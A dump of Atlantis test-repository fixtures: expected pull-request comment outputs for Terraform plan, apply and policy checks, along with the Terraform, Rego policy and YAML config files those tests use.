* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/repos.yaml ================================================ repos: - id: /.*/ policy_check: true policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - null_resource_policy - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/policies/policy.rego ================================================ package null_resource_policy import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/repos.yaml ================================================ policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local workflows: default: policy_check: steps: - show - policy_check: extra_args: ["--all-namespaces"] ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-extra-args/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/atlantis.yaml ================================================ version: 3 projects: - dir: dir1 - dir: dir2 ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/main.tf ================================================ resource "null_resource" "forbidden" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-apply.txt ================================================ Ran Apply for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` --- ### 2. dir: `dir2` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. --- ### Apply Summary 2 projects, 1 successful, 1 failed, 0 errored ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check-quiet.txt ================================================ Ran Policy Check for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 2. dir: `dir2` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Forbidden Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d dir2 ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default` #### Policy Set: `test_policy` ```diff 1 test, 1 passed, 0 warnings, 0 failures, 0 exceptions ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d dir1 ``` --- ### 2. dir: `dir2` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Forbidden Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d dir2 ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `dir2` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.forbidden[0] will be created + resource "null_resource" "forbidden" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `dir1` workspace: `default` - dir: `dir2` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_creates[_] > 0 reason := "WARNING: Forbidden Resource creation is prohibited." } resource_names = {"forbidden"} resources[resource_name] = all if { some resource_name resource_names[resource_name] all := [res | res := tfplan.resource_changes[_] res.name == resource_name ] } # number of creations of resources of a given name num_creates[resource_name] = num if { some resource_name resource_names[resource_name] all := resources[resource_name] creations := [res | res := all[_]; res.change.actions[_] == "create"] num := count(creations) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-multi-projects/repos.yaml ================================================ policies: owners: users: - runatlantis policy_sets: - name: test_policy path: ../policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-success-silent/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff Apply complete! Resources: 0 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default` ```diff Changes to Outputs: + workspace = "default" You can apply this plan to save these new output values to the Terraform state, without changing any real infrastructure. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-success-silent/main.tf ================================================ output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-success-silent/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-success-silent/repos.yaml ================================================ repos: - id: /.*/ apply_requirements: [approved] policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/exp-output-apply.txt ================================================ Ran Apply for 2 projects: 1. dir: `infrastructure/production` workspace: `default` 1. dir: `infrastructure/staging` workspace: `default` --- ### 1. dir: `infrastructure/production` workspace: `default` ```diff null_resource.production[0]: Creating... null_resource.production[0]: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. ``` --- ### 2. dir: `infrastructure/staging` workspace: `default` ```diff null_resource.staging[0]: Creating... null_resource.staging[0]: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. ``` --- ### Apply Summary 2 projects, 2 successful, 0 failed, 0 errored ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `infrastructure/staging` workspace: `default` 1. dir: `infrastructure/production` workspace: `default` --- ### 1. dir: `infrastructure/staging` workspace: `default` ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.staging[0] will be created + resource "null_resource" "staging" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d infrastructure/staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d infrastructure/staging ``` --- ### 2. dir: `infrastructure/production` workspace: `default` ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.production[0] will be created + resource "null_resource" "production" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d infrastructure/production ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d infrastructure/production ``` --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `infrastructure/production` workspace: `default` - dir: `infrastructure/staging` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/custom-name-atlantis.yaml ================================================ version: 3 projects: - dir: infrastructure/staging - dir: infrastructure/production ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/main.tf ================================================ resource "null_resource" "production" { count = "1" } ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/main.tf ================================================ resource "null_resource" "staging" { count = "1" } ================================================ FILE: server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default - dir: . workspace: staging workflow: staging ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt ================================================ Ran Apply for dir: `.` workspace: `staging` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "staging" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `.` workspace: `default` 1. dir: `.` workspace: `staging` --- ### 1. dir: `.` workspace: `default`
Show Output ```diff preinit custom Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" postplan custom ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `.` workspace: `staging`
Show Output ```diff preinit staging Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -w staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -w staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspaces: `default`, `staging` ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/repos.yaml ================================================ repos: - id: /.*/ pre_workflow_hooks: - run: echo "hello" workflow: custom post_workflow_hooks: - run: echo "hello" allowed_overrides: [workflow] workflows: custom: plan: steps: - run: echo preinit custom - init - plan - run: echo postplan custom staging: plan: steps: - run: echo preinit staging - init - plan ================================================ FILE: server/controllers/events/testdata/test-repos/server-side-cfg/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-allow-command-unknown-import.txt ================================================ ``` Error: unknown command "import". Run 'atlantis --help' for usage. Available commands(--allow-commands): plan, apply ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-all.txt ================================================ Ran Apply for 2 projects: 1. dir: `.` workspace: `default` 1. dir: `.` workspace: `new_workspace` --- ### 1. dir: `.` workspace: `default`
Show Output ```diff null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: Apply complete! Resources: 3 added, 0 changed, 0 destroyed. Outputs: var = "default_workspace" workspace = "default" ```
--- ### 2. dir: `.` workspace: `new_workspace`
Show Output ```diff null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: Apply complete! Resources: 3 added, 0 changed, 0 destroyed. Outputs: var = "new_workspace" workspace = "new_workspace" ```
--- ### Apply Summary 2 projects, 2 successful, 0 failed, 0 errored ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-default-workspace.txt ================================================ Ran Apply for dir: `.` workspace: `default`
Show Output ```diff null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: Apply complete! Resources: 3 added, 0 changed, 0 destroyed. Outputs: var = "default_workspace" workspace = "default" ```
================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-new-workspace.txt ================================================ Ran Apply for dir: `.` workspace: `new_workspace`
Show Output ```diff null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: Apply complete! Resources: 3 added, 0 changed, 0 destroyed. Outputs: var = "new_workspace" workspace = "new_workspace" ```
================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-apply-var.txt ================================================ Ran Apply for dir: `.` workspace: `default`
Show Output ```diff null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: Apply complete! Resources: 3 added, 0 changed, 0 destroyed. Outputs: var = "overridden" workspace = "default" ```
================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default`
Show Output ```diff null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: null_resource.simple: Apply complete! Resources: 3 added, 0 changed, 0 destroyed. Outputs: var = "default" workspace = "default" ```
================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt ================================================ Ran Plan for dir: `.` workspace: `new_workspace`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } # null_resource.simple2 will be created + resource "null_resource" "simple2" { + id = (known after apply) } # null_resource.simple3 will be created + resource "null_resource" "simple3" { + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "new_workspace" + workspace = "new_workspace" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -w new_workspace ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -w new_workspace -- -var var=new_workspace ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } # null_resource.simple2 will be created + resource "null_resource" "simple2" { + id = (known after apply) } # null_resource.simple3 will be created + resource "null_resource" "simple3" { + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "overridden" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . -- -var var=overridden ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } # null_resource.simple2 will be created + resource "null_resource" "simple2" { + id = (known after apply) } # null_resource.simple3 will be created + resource "null_resource" "simple3" { + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "default_workspace" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . -- -var var=default_workspace ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` ```diff ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } # null_resource.simple2 will be created + resource "null_resource" "simple2" { + id = (known after apply) } # null_resource.simple3 will be created + resource "null_resource" "simple3" { + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "default" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-merge-workspaces.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspaces: `default`, `new_workspace` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/simple/main.tf ================================================ resource "null_resource" "simple" { count = 1 } resource "null_resource" "simple2" {} resource "null_resource" "simple3" {} variable "var" { default = "default" } output "var" { value = var.var } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/simple/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } # null_resource.simple2 will be created + resource "null_resource" "simple2" { + id = (known after apply) } # null_resource.simple3 will be created + resource "null_resource" "simple3" { + id = (known after apply) } Plan: 3 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "default" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 3 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-plan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
